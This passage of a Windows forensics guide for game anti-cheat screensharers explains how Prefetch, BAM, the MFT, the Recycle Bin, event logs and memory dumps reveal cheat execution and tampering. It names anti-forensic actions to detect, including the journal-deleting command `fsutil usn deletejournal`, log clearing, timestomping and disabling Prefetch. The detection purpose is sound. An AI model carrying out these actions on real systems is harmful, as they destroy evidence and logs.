`Start-Process C:\Users\Player\Desktop\cheat.tmp` to run a renamed cheat, that exact command might be logged in the history file, directly proving the execution of a disguised executable. * **A Quick, High-Value Check:** During a screenshare, simply opening the `ConsoleHost_history.txt` file in Notepad is a fast and effective check. A quick scroll can immediately reveal suspicious activity that warrants deeper investigation. * **Evidence of Clearing:** If the history file is missing, or its "Date Modified" timestamp is very recent (suggesting it was just wiped and recreated), and you find evidence of PowerShell execution in other artifacts (like Prefetch for `powershell.exe`), you have a strong case for evidence clearing. [PreviousShellbags](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/shellbags) [NextTemporary Files (%temp%)](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/temporary-files-temp) Last updated 9 months ago * [Purpose and Function](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/powershell-command-history#purpose-and-function) * [Location and Structure](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/powershell-command-history#location-and-structure) * [Stored Metadata](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/powershell-command-history#stored-metadata) * [Forensic Value](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/powershell-command-history#forensic-value) --- # Log Storage | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/log-storage.md) . Event logs are stored as `.evtx` files, typically located in `%SystemRoot%\System32\Winevt\Logs\` (e.g., `Application.evtx`, `Security.evtx`, `System.evtx`). Third-party applications can also create their own event logs. [PreviousAccessing Event Viewer](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/accessing-event-viewer) [NextChecking the EventLog Service](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/checking-the-eventlog-service) Last updated 1 year ago --- # Checking the EventLog Service | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/checking-the-eventlog-service.md) . Event logging depends on the **EventLog service (**`**eventlog**`**)**. If stopped, logs won't be recorded, and Event Viewer won't work. * **Check Status:** Admin CMD/PowerShell -> `sc query eventlog`. * **Expected State:** `RUNNING`. A `STOPPED` state is highly suspicious. [PreviousLog Storage](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/log-storage) [NextKey Event Logs and IDs for ScreenSharing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/key-event-logs-and-ids-for-screensharing) Last updated 1 year ago --- # Master File Table | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/master-file-table.md) . The **Master File Table (MFT)** is the heart of the New Technology File System (NTFS). It is a special system file that functions as the central database or index for an entire volume. The MFT contains at least one record, known as a file record segment (FRS), for **every single file and directory** on that volume. This includes the MFT itself, which has its own entry. From a DFIR perspective, the MFT is the ultimate source of truth for file system metadata. It provides a detailed and structured catalog of nearly everything that exists—or recently existed—on a disk. Analyzing the MFT is a foundational step in any file system forensic investigation. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/master-file-table#location-and-structure) Location and Structure The MFT is a file itself, typically named `$MFT`, located at the root of the NTFS volume. It is usually hidden and inaccessible through standard user interfaces like File Explorer. * **Structure:** The MFT is composed of a series of fixed-size records (commonly 1024 bytes). The first records are reserved for NTFS metadata files (e.g., `$MFT`, `$LogFile`, `$Volume`, `$AttrDef`). Each subsequent record is allocated to a file or directory as it is created. When a file is deleted, its MFT record is marked as inactive but is **not immediately overwritten**. The record's space becomes available for reuse by a new file. This "latency" in overwriting provides a critical window for forensic analysts to recover metadata about deleted files. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/master-file-table#stored-metadata-and-attributes) Stored Metadata and Attributes Each MFT record acts as a detailed index card, storing crucial metadata about its corresponding file or directory in the form of **attributes**. Key attributes include: * `**$STANDARD_INFORMATION**` **($SI):** This attribute contains a set of MACB timestamps (Modified, Accessed, Changed, Birth), file attributes (e.g., Read-Only, Hidden, System), and ownership information. These are the timestamps most commonly displayed by the operating system. * `**$FILE_NAME**` **($FN):** This attribute stores the file's name (in Unicode), its parent directory's MFT reference, and, critically, a **separate, independent set of MACB timestamps**. These timestamps are often less susceptible to simple tampering than the `$SI` timestamps. * `**$DATA**`**:** This attribute contains the actual content of the file. For very small files ("resident" files), the data is stored directly within the MFT record itself. For larger files, this attribute contains pointers to the physical locations (clusters) on the disk where the data is stored. * **Other Attributes:** The MFT also stores information about security permissions (`$SECURITY_DESCRIPTOR`), Alternate Data Streams (`$ATTRIBUTE_LIST`), and more. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/master-file-table#forensic-value) Forensic Value The MFT is an indispensable artifact for reconstructing file system activity and detecting tampering. * **Comprehensive File Catalog:** Parsing the MFT provides a complete list of all active files and directories, along with their detailed metadata. * **Recovery of Deleted Files:** By analyzing inactive MFT records that have not yet been overwritten, analysts can recover critical metadata about deleted files, including their original names, sizes, and timestamps, proving their prior existence. * **Detection of Timestomping:** This is a key use case. Because the MFT stores two separate sets of timestamps (`$SI` and `$FN`), a discrepancy between them is a classic and strong indicator of **timestomping**. Many anti-forensic tools only modify the more accessible `$SI` timestamps, leaving the `$FN` timestamps untouched as evidence of the manipulation. * **Tracking File Movement:** The parent directory reference within the `$FN` attribute helps establish the file's location and can be used to track file movement within the same volume. Specialized forensic tools like Eric Zimmerman's `MFTECmd` or forensic suites like FTK Imager are required to parse the raw MFT file and present its contents in a human-readable format. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/master-file-table#reflection-points-ss-contest) Reflection points (SS Contest) For a ScreenSharer, the MFT is the reference book for all files on the system and a primary tool for exposing advanced bypasses. * **The Ground Truth:** The MFT tells you what is _truly_ on the disk. It can reveal hidden files or directories that are not visible in File Explorer. * **Exposing Timestomping:** The ability to compare `$SI` and `$FN` timestamps is one of the most powerful techniques in a ScreenSharer's arsenal. If a player claims a cheat file is old, but a check of the MFT reveals that the file's `$SI` timestamp (e.g., 2019) is completely different from its `$FN` timestamp (e.g., today's date), you have conclusive proof of tampering. * **Recovering Deleted File Info:** Even if a player shift-deletes a cheat, a quick parse of the MFT for inactive records might recover the cheat's filename and timestamps, proving it existed just moments before the screenshare. * **Identifying Resident Files:** Cheaters sometimes use very small tools or scripts. If these are "resident" within the MFT, they might not occupy a separate cluster on the disk, making them slightly harder to find with standard file carving tools. A full MFT parse will always find them. [PreviousFile System Activity](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity) [NextUSN Journal ($UsnJrnl)](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/usn-journal-usdusnjrnl) Last updated 9 months ago * [Location and Structure](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/master-file-table#location-and-structure) * [Stored Metadata and Attributes](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/master-file-table#stored-metadata-and-attributes) * [Forensic Value](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/master-file-table#forensic-value) --- # Prefetch | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/prefetch.md) . ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/prefetch#purpose-and-function) Purpose and Function Prefetching is a performance enhancement feature integrated into Windows, designed to decrease application startup times. The operating system, through the **SysMain** service (formerly known as Superfetch), monitors the files and data an application accesses during its initial launch phase (typically the first 10 seconds). It then records this information in a corresponding Prefetch file (`.pf`). On subsequent launches, Windows uses this data to proactively load necessary resources into memory, aiming for a faster and more efficient startup. From a Digital Forensics and Incident Response (DFIR) perspective, this performance feature creates one of the most reliable and valuable artifacts for tracking program execution. The creation and modification of `.pf` files serve as a direct log of application launches on the system. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/prefetch#location-and-naming-convention) Location and Naming Convention Prefetch files are stored in a dedicated system folder, which typically requires administrator privileges to access: * **Location:** `C:\Windows\Prefetch` Each `.pf` file corresponds to a specific executable run from a specific location and follows a consistent naming pattern: `EXECUTABLENAME.EXE-HASH.pf` * **EXECUTABLENAME.EXE:** The name of the executable file that was launched (e.g., `NOTEPAD.EXE`, `VAPE.EXE`). * **HASH:** An 8-character hexadecimal hash. Crucially, this hash is calculated based on the **full path** from which the executable was run, not the file's content. This means that running the same executable from two different locations (e.g., `C:\Users\Admin\Desktop\cheat.exe` vs. `C:\Users\Admin\Downloads\cheat.exe`) will generate two distinct `.pf` files with different hashes. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/prefetch#internal-structure-and-stored-metadata) Internal Structure and Stored Metadata Each `.pf` file is a binary file containing a wealth of metadata that can be parsed with specialized tools. This metadata provides a detailed record of an application's execution history: * **Executable Name:** The filename of the program that was launched. * **Run Count:** The total number of times the application has been executed from that specific path. * **Timestamps:** * **Last Execution Time:** A high-precision timestamp indicating the exact last time the application was run from that path. Forensically, the _Date Modified_ timestamp of the `.pf` file itself directly mirrors this value. * **Previous Execution Times:** Up to 8 of the most recent previous execution timestamps are stored within the file, providing a short-term historical view of launches from that specific path. * **Volume Information:** Details about the disk volume where the executable resided during its last run, including the volume path (e.g., `\Device\HarddiskVolume1`), creation date, and serial number. This is vital for tracking executions from removable media like USB drives. * **Referenced Files and Directories:** A list of the specific files (including DLLs, configuration files, etc.) and directories that the application accessed during its initial startup. This is a forensically critical piece of information, as it can link a generic host process (like `java.exe` or `rundll32.exe`) to a specific malicious payload (like a `.jar` cheat or an injected `.dll`). ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/prefetch#system-dependencies-and-control) System Dependencies and Control The Prefetching mechanism is not standalone; it relies on and is controlled by specific system components: * **SysMain Service:** The entire Prefetching functionality is managed by the **SysMain** service. If this service is stopped or disabled, Windows will cease to create or update `.pf` files. Its status can be checked via `sc query sysmain`. * **Registry Control:** The operational state of the Prefetcher is configured in the Windows Registry at: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters` The `EnablePrefetcher` DWORD value within this key determines its behavior: * `0`: Disabled * `1`: Application launch prefetching enabled * `2`: Boot prefetching enabled * `3`: Application and Boot prefetching enabled (Default) A non-default value, especially `0`, is a strong indicator of deliberate tampering. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/prefetch#forensic-value) Forensic Value The forensic value of Prefetch files is immense. They provide a reliable, high-precision timeline of when applications were run on a system. Because they log the full executable name (including extension), referenced files, and are tied to a specific execution path, they are a cornerstone artifact for: * Confirming the execution of malicious software. * Establishing a timeline of an attacker's actions. * Identifying programs run from unusual locations or removable media. * Discovering attempts to disguise executables by changing their file extensions. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/prefetch#reflection-points-ss-contest) Reflection points (SS Contest) For a ScreenSharer, Prefetch is a primary source of high-confidence evidence. * **High-Precision Proof:** The "Last Execution Time" is precise enough to prove "in instance" execution, correlating directly with the gameplay session. * **Detecting Evasion:** The file naming convention makes evasion techniques obvious. Finding a file like `MyCheat.tmp-A1B2C3D4.pf` is a clear indicator of a **spoofed extension**. * **Linking Host Processes:** The "Referenced Files" list is the key to connecting the dots. It allows an SSer to definitively prove that a specific `javaw.exe` process loaded a cheat `.jar` file, or that `rundll32.exe` was used to load a specific cheat `.dll`. * **Evidence of Tampering:** An empty `Prefetch` folder (when the service is running and the registry key is enabled) is strong evidence of **clearing**. A `.pf` file with the **Read-Only attribute** set is a direct attempt to "freeze" the artifact and hide recent activity. Finding the SysMain service stopped or the `EnablePrefetcher` registry value set to `0` is, in itself, a highly suspicious act of tampering. [PreviousProgram Execution](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution) [NextBAM & DAM](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/bam-and-dam) Last updated 9 months ago * [Purpose and Function](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/prefetch#purpose-and-function) * [Location and Naming Convention](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/prefetch#location-and-naming-convention) * [Internal Structure and Stored Metadata](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/prefetch#internal-structure-and-stored-metadata) * [System Dependencies and Control](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/prefetch#system-dependencies-and-control) * [Forensic Value](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/prefetch#forensic-value) --- # BAM & DAM | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/bam-and-dam.md) . [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/bam-and-dam#background-activity-moderator-bam-and-desktop-activity-moderator-dam) Background Activity Moderator (BAM) & Desktop Activity Moderator (DAM) ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/bam-and-dam#purpose-and-function) Purpose and Function The **Background Activity Moderator (BAM)** and its predecessor, the **Desktop Activity Moderator (DAM)**, are Windows services designed to manage and control the resource consumption of background applications. Introduced in Windows 10 (Fall Creators Update, version 1709), the BAM's primary system function is to ensure that background processes do not negatively impact system performance or battery life by throttling their activities. From a DFIR perspective, this moderation service creates a powerful forensic artifact. To perform its function, the BAM/DAM service maintains a record of applications it has monitored. This record is stored in the Windows Registry and acts as a log of executed programs, often capturing execution evidence that other artifacts might miss. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/bam-and-dam#location-and-structure) Location and Structure The BAM and DAM data is stored within a specific set of keys in the **SYSTEM** registry hive. Accessing this location requires administrator privileges. * **Location:** `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings\{User_SID}` * **For DAM (older systems):** `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\dam\State\UserSettings\{User_SID}` Within each user-specific SID key, the data is stored as a series of registry **values**. * **Value Name:** The name of each value is the full path to the executed program, prefixed with the Windows NT path notation (e.g., `\Device\HarddiskVolumeX\...`). * **Value Data:** The data for each value is a binary structure. The most forensically significant part of this structure is an 8-byte `FILETIME` timestamp, which represents the last time the application was monitored by the service. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/bam-and-dam#stored-metadata-and-behavior) Stored Metadata and Behavior The BAM/DAM artifact provides two key pieces of information for each entry: 1. **Full Path of the Executable:** The registry value name provides the complete path to the program that was executed. This is crucial for identifying exactly which file was run and from what location (e.g., a USB drive, a temporary folder, etc.). 2. **Last Execution Timestamp:** The `FILETIME` timestamp within the value's binary data indicates the last time the program was seen running by the BAM service. This timestamp is updated not just upon initial execution but also upon subsequent interactions or closures, making it a high-precision indicator of recent activity. Unlike Prefetch, which primarily logs `.exe` files, the BAM/DAM is known to log the execution of a wider range of application types. However, its main focus remains on executable files. A critical characteristic of this artifact is its volatility. Entries within the BAM registry keys can be overwritten as new applications are run and monitored. Furthermore, these registry keys can be deliberately cleared by users with sufficient privileges or by cleanup utilities. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/bam-and-dam#forensic-value) Forensic Value The BAM/DAM is an essential execution artifact, especially when Prefetch data is unavailable or has been tampered with. Its value in an investigation stems from several key points: * **High-Precision Timestamps:** It provides a precise timestamp of the last known activity, which is vital for building accurate timelines. * **Full Path Information:** It records the exact location from which a program was run, helping to track the origin of malicious executables. * **Complementary Evidence:** It often captures executions that might not generate a Prefetch file or whose Prefetch entry has been deleted, serving as an excellent source of corroborating evidence. * **Evidence of Tampering:** Because the data resides in a known registry location, evidence of its deletion can often be recovered from registry slack space or by observing that the key's "LastWrite" time has been recently modified. Specialized forensic tools can often highlight recently deleted BAM entries, turning an attempt to clear tracks into direct evidence of malicious intent. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/bam-and-dam#reflection-points-ss-contest) Reflection points (SS Contest) For a ScreenSharer, the BAM is another primary source for proving "in instance" execution, often with high precision. * **Direct Proof of Execution:** Finding the path to a cheat executable in the BAM keys with a recent timestamp is direct and compelling evidence of its use. * **Catching Bypass Attempts:** The BAM is particularly effective at detecting cheats that are executed and then quickly deleted. While the file itself may be gone, its execution record can persist in the BAM. * **Detecting "Fileless" Loaders:** Some bypass techniques use legitimate executables to launch malicious code. The execution of the initial loader (e.g., a suspicious PowerShell or CMD script host) might be logged in the BAM, providing a critical lead for the investigation. [PreviousPrefetch](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/prefetch) [NextUserAssist](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/userassist) Last updated 9 months ago * [Background Activity Moderator (BAM) & Desktop Activity Moderator (DAM)](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/bam-and-dam#background-activity-moderator-bam-and-desktop-activity-moderator-dam) * [Purpose and Function](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/bam-and-dam#purpose-and-function) * [Location and Structure](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/bam-and-dam#location-and-structure) * [Stored Metadata and Behavior](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/bam-and-dam#stored-metadata-and-behavior) * [Forensic Value](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/bam-and-dam#forensic-value) --- # Recycle Bin ($Recycle.bin) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/recycle-bin-usdrecycle.bin.md) . ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/recycle-bin-usdrecycle.bin#purpose-and-function) Purpose and Function The Windows **Recycle Bin** is a special system folder that functions as a staging area for files and folders deleted by a user through standard methods (e.g., pressing the `Delete` key or using the right-click context menu). Its primary purpose is to act as a safety net, holding deleted items indefinitely until the user chooses to either permanently remove them by emptying the bin or restore them to their original location. It is critical to understand that files sent to the Recycle Bin are **not in a temporary state with an expiration date**. They remain there until an explicit action is taken. Files deleted using `Shift + Delete` or removed programmatically by certain applications bypass the Recycle Bin entirely. From a DFIR perspective, the Recycle Bin is a crucial artifact. It meticulously records metadata about every item sent to it, providing definitive evidence of what was deleted and exactly when. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/recycle-bin-usdrecycle.bin#location-and-structure) Location and Structure Each NTFS volume on a Windows system has its own hidden, protected system folder named `$Recycle.bin` located at the root of the drive (e.g., `C:\$Recycle.bin`). To view this folder, an analyst must enable the viewing of both "hidden files" and "protected operating system files" in File Explorer options. Inside the `$Recycle.bin` folder, subfolders are created that are named after the **Security Identifier (SID)** of each user who has deleted files on that volume. This structure ensures that deleted items are directly attributable to a specific user account. Within a user's SID subfolder, each deleted item is represented by **two** distinct files: 1. `**$I{unique_ID}.{original_extension}**`**:** This is the **metadata file**. It is a small but forensically rich file containing: * The **original full path** of the deleted item. * The size of the original file in bytes. * A high-precision `FILETIME` timestamp indicating **exactly when the item was sent to the Recycle Bin**. 2. `**$R{unique_ID}.{original_extension}**`**:** This is the **content file**. It contains the actual data of the deleted item, preserving its original file extension but renamed with a `$R` prefix. When a user empties the Recycle Bin, both the `$I` and `$R` files associated with the items are permanently removed from the file system. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/recycle-bin-usdrecycle.bin#stored-metadata) Stored Metadata The primary forensic value is concentrated in the `$I` metadata file. A forensic parser will extract: * **Original Filename and Path:** Confirms what the file was named and where it was located before deletion. * **Deletion Timestamp:** This is the most critical piece of evidence. The "Date Created" timestamp of the `$I...` file itself directly corresponds to the moment the original file was moved to the Recycle Bin. * **File Size:** The size of the original file. * **User Attribution:** The SID-based folder structure provides a direct, undeniable link between the deletion and a specific user account. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/recycle-bin-usdrecycle.bin#forensic-value) Forensic Value The Recycle Bin is an invaluable source for recovering discarded evidence and understanding a user's attempts to hide their actions. * **Recovering Discarded Evidence:** Analysts can often recover the full content of deleted files by accessing the `$R...` files, providing direct access to evidence a user believed was gone. * **Establishing a Deletion Timeline:** The deletion timestamps within the `$I...` files are essential for building a precise timeline. Finding suspicious files that were deleted moments before an investigation is a significant red flag. * **Proving Prior Existence and Location:** The original path proves that a file existed in a specific location, corroborating findings from execution artifacts that might point to a now-missing file. * **Detecting Clearing Activity:** The "Date Modified" timestamp of the parent `$Recycle.bin` folder (or the user's specific SID subfolder) is updated upon any interaction, including emptying the bin. A very recent modification time is a strong indicator of recent clearing activity. It is important to remember that drives formatted with FAT32 or exFAT (common for USB drives) do not have this standard `$Recycle.bin` structure. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/recycle-bin-usdrecycle.bin#reflection-points-ss-contest) Reflection points (SS Contest) For a ScreenSharer, the Recycle Bin is a primary location to check for evidence that a player has attempted to discard just before the check. * **Finding the Pre-SS Cleanup:** A player under suspicion will often delete their cheats via the standard method just before being "frozen". The Recycle Bin is the first place this evidence lands. Finding a cheat with a deletion timestamp just moments before the SS began is conclusive proof of an attempt to hide it. * **Recovering the Smoking Gun:** An SSer can frequently recover the full cheat executable from the `$R...` file. This allows for immediate analysis (checking its hash, strings, or uploading to VirusTotal), turning a deleted file into concrete evidence. * **Confirming Evidence Clearing:** Even if the player has emptied the Recycle Bin, an SSer can check the "Date Modified" timestamp of the `C:\$Recycle.bin` folder. A timestamp that is extremely recent strongly indicates the player just wiped the bin to destroy evidence—a highly suspicious act in itself. * **Direct User Attribution:** The SID folder structure makes it simple to attribute the deletion to the active user, preventing them from plausibly denying the action or blaming another user or a system process. [Previous$LogFile](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/usdlogfile) [NextVolume Shadow Copies (VSS)](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/volume-shadow-copies-vss) Last updated 9 months ago * [Purpose and Function](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/recycle-bin-usdrecycle.bin#purpose-and-function) * [Location and Structure](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/recycle-bin-usdrecycle.bin#location-and-structure) * [Stored Metadata](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/recycle-bin-usdrecycle.bin#stored-metadata) * [Forensic Value](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/recycle-bin-usdrecycle.bin#forensic-value) --- # Key Event Logs and IDs for ScreenSharing | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/key-event-logs-and-ids-for-screensharing.md) . Filtering by specific Event IDs is the most efficient way to use Event Viewer during a screenshare. Right-click a log (e.g., Security) -> "Filter Current Log...". * **System Time Change (Security Log):** * **Event ID: 4616** * _Log:_ Security (`Security.evtx`) * _Description:_ Records instances where the system time was changed. * _Context is Key:_ Examine the "Process Name" or "Process ID" fields within the event details. Changes initiated by `svchost.exe` (often related to `services.exe`) might be legitimate network time synchronizations. Changes initiated by `**cmd.exe**` or `powershell.exe` strongly indicate a **manual time change by the user**, which is highly suspicious during or shortly before gameplay/SS. * **Audit Log Clearing (Security Log):** * **Event ID: 1102** * _Log:_ Security (`Security.evtx`) * _Description:_ Explicitly records when the Security log itself was cleared. This action requires administrative privileges and is **almost always** performed manually by someone trying to hide security-related activities. Finding this event is a **very strong indicator of malicious intent or tampering**. * **USN Journal Deletion (Application Log):** * **Event ID: 3079** * _Log:_ Application (`Application.evtx`) * _Source:_ Often `fsutil` or related components. * _Description:_ Indicates that the USN Journal for a specific volume (drive letter usually mentioned) was deleted (e.g., via `fsutil usn deletejournal`). This is a **direct attempt to erase the filesystem activity history**. * **Log File Cleared (Non-Security):** * **Event ID: 104** * _Log:_ System (`System.evtx`) * _Description:_ Records when other event logs (like Application, System, Setup, or custom logs under "Applications and Services Logs") were cleared. This event is **not** generated for clearing the Security log (which uses 1102). Clearing logs like Application or System can still be suspicious depending on context. * **EventLog Service Stop/Start (System Log):** * **Event ID: 7036** * _Log:_ System (`System.evtx`) * _Source:_ Service Control Manager * _Description:_ Logs when services enter running or stopped states. Filtering for "eventlog" in the message text can show if the core logging service itself was stopped and restarted, indicating potential tampering. [PreviousChecking the EventLog Service](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/checking-the-eventlog-service) [NextKey Considerations for ScreenSharing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/key-considerations-for-screensharing) Last updated 1 year ago --- # Process and Memory Dump Analysis (Kernel Live Dump, RAM Dump) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/process-and-memory-dump-analysis.md) . Analyzing the system's volatile memory provides a snapshot of the system's state at the moment of acquisition, potentially revealing threats or activities that leave no disk footprint. * **RAM Dump (Physical Memory Dump):** This is a bit-for-bit copy of the entire contents of the system's physical RAM. It captures the runtime state of all running processes, loaded drivers, kernel structures, network connections, potentially cached credentials, clipboard contents, cryptographic keys, and injected code or unpacked malware residing only in memory. Acquiring a full RAM dump requires specialized tools like **FTK Imager**, **DumpIt (Comae)**, or **Magnet RAM Capture**. The resulting dump file (often `.mem`, `.vmem`, `.raw`) can be very large (equal to the amount of installed RAM). * **Kernel Live Dump:** A more targeted dump focusing primarily on the Windows kernel memory space. It often includes process metadata, loaded kernel modules, and potentially recently used command lines, but typically less user-mode application data compared to a full RAM dump. Kernel Live Dumps can often be created while the system is running without causing instability (e.g., using **System Informer's** "Create kernel memory dump" feature) and are valuable for diagnosing kernel issues or analyzing kernel-mode rootkits, but also for finding command-line history. Forensically, memory dump analysis is crucial for: * Detecting **fileless malware** or cheats residing solely in RAM. * Identifying **injected code** (DLLs, shellcode) within legitimate processes. * Recovering **command-line history** used to launch processes, even short-lived ones (often found in kernel dumps). * Analyzing active **network connections** and associated processes. * Potentially recovering **credentials** or sensitive data present in memory. * Finding hidden **rootkit** components (hidden processes, drivers). However, memory analysis presents challenges, especially in a standard screenshare context: it's **complex**, requiring specialized tools and knowledge (like the **Volatility Framework** or **MemProcFS** for analysis); the data is **volatile** and represents only a single point in time; dumps are **large**; and acquisition/analysis raises significant **ethical and privacy concerns** due to the potentially sensitive user data captured. Therefore, while powerful, full memory analysis is generally reserved for dedicated incident response scenarios or performed only by highly trained individuals in specific, justified circumstances during screenshares. String analysis on kernel dumps using `**strings64.exe**` or `**bstrings.exe**` (as described previously for finding command history or injection artifacts) offers a more targeted and less intrusive approach applicable in some SS contexts. ### [](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/process-and-memory-dump-analysis#redlotus-kernel-live-dump-analyzer) RedLotus Kernel Live Dump Analyzer Analyzing kernel memory dumps has proven to be one of the most effective ways to uncover traces of bypass techniques, especially those involving command-line execution or fileless methods. However, manually sifting through the vast amount of string data extracted from a dump file (`.dmp`) can be time-consuming. To address this, a specialized tool, the **RedLotus Kernel Live Dump Analyzer**, has been developed thanks to the significant skill and effort contributed by **Spok**. This utility dramatically accelerates the analysis process, allowing for checks to be completed in seconds rather than minutes. The tool operates with two primary features: 1. **Automated Keyword Scanning:** It performs an initial, rapid scan of the provided kernel dump file (`.dmp`) using a carefully curated list of specific keywords and strings known to be associated with common bypass methods and malicious command-line activity. 2. **Manual Keyword Search:** It provides an option for the user (the ScreenSharer) to input their own specific keyword or string, which the 